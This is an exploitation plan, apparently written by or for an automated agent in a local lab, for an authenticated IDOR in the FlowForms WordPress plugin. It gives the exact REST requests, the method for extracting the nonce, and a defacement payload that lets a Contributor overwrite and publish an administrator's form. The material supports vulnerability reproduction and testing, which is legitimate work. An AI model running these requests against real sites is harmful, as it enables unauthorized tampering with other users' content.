Exploitation Research Plan: CVE-2026-12400 (FlowForms IDOR)

1. Vulnerability Summary

The FlowForms plugin (<= 1.1.1) is vulnerable to an Authenticated Insecure Direct Object Reference (IDOR) within its REST API. Specifically, the /flowforms/v1/forms/{id} endpoints (and sub-endpoints like /publish and /revert) fail to verify if the authenticated user has permission to modify the specific form identified by {id}. While the permission_callback checks for the edit_posts capability (allowing Contributors and above), it does not implement any ownership or granular authorization checks. This allows a Contributor-level user to modify, publish, or revert forms created by Administrators.

2. Attack Vector Analysis

• Vulnerable Endpoints:
  • POST/PUT /wp-json/flowforms/v1/forms/(?P<id>\d+) (Callback: update_form)
  • POST /wp-json/flowforms/v1/forms/(?P<id>\d+)/publish (Callback: publish_form)
  • POST /wp-json/flowforms/v1/forms/(?P<id>\d+)/revert (Callback: revert_form)
• Authentication Requirement: Authenticated user with edit_posts capability (Contributor, Author, Editor, or Admin).
• Payload Parameter: The {id} in the REST URL is the primary vector. The request body for update_form typically contains form data (JSON).
• Preconditions:
  • The attacker must have a valid account with at least Contributor permissions.
  • The attacker must know or guess the id of the target form (Forms are stored as a custom post type, likely flowforms).

3. Code Flow

1. Registration: In includes/class-rest-api.php, the register_routes method defines the routes.
2. Authorization: The permission_callback for the update/publish/revert routes is: fn() => current_user_can('edit_posts'). This returns true for any Contributor.
3. Callback Execution: When a request hits /forms/{id}, the update_form($request) method is called.
4. Processing: The method extracts the id from the request: $id = $request->get_param('id');.
5. Sink: It then proceeds to update the post content or metadata using the provided $id without verifying if get_post($id)->post_author matches the current user.

4. Nonce Acquisition Strategy

Since this is a WordPress REST API exploit, the wp_rest nonce is required for any request using cookie authentication.

1. Log in as the Contributor user using browser_navigate.
2. Navigate to the WordPress Dashboard (/wp-admin/).
3. Extract Nonce: Use browser_eval to extract the REST nonce from the global wpApiSettings object.
   • JavaScript: window.wpApiSettings?.nonce
4. Usage: Include this nonce in the X-WP-Nonce header of all subsequent http_request calls.

5. Exploitation Strategy

This plan focuses on modifying an Admin's form using a Contributor account.

Step 1: Discover Target Form ID

The attacker can use the GET /wp-json/flowforms/v1/forms endpoint (also available to Contributors) to list all forms on the site and identify the ID of a form owned by an Admin.

Step 2: Perform the IDOR Update

Send a request to update the target form's content.

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-json/flowforms/v1/forms/{TARGET_ID}
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Payload (JSON):

  {
    "form_data": {
      "content": {
        "welcomeScreen": {
          "title": "Hacked by Contributor",
          "description": "Your form has been modified."
        }
      }
    }
  }
  

Step 3: Publish the Change

To make the change live, trigger the publish endpoint.

• Method: POST
• URL: http://localhost:8080/wp-json/flowforms/v1/forms/{TARGET_ID}/publish
• Headers: X-WP-Nonce: [EXTRACTED_NONCE]

6. Test Data Setup

1. Create Admin Form: Use WP-CLI to create a form owned by the Administrator.

   # Create the FlowForm post type (assuming the slug is 'flowforms')
   wp post create --post_type=flowforms --post_title="Admin Secret Form" --post_status=publish --post_author=1 --post_content='{"content":{"published":{"welcomeScreen":{"title":"Original Title"}}},"design":{},"settings":{}}'
   

2. Identify Form ID: Note the ID of the created post.
3. Create Contributor:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

7. Expected Results

• The update_form request should return a 200 OK response with the updated form object.
• The publish_form request should return a 200 OK.
• The form content in the database should now reflect the "Hacked by Contributor" payload.

8. Verification Steps

After the exploit, verify the change using WP-CLI:

# Check the post content of the Admin's form
wp post get {TARGET_ID} --field=post_content

If successful, the output will contain "title":"Hacked by Contributor".

9. Alternative Approaches

If the update_form logic requires a specific internal structure (checked via decode_slots and extract_design), the attacker can first perform a GET /wp-json/flowforms/v1/forms/{TARGET_ID} (as a Contributor) to obtain the existing structure, modify the JSON locally, and then send the POST request to update_form with the full modified object to ensure compatibility.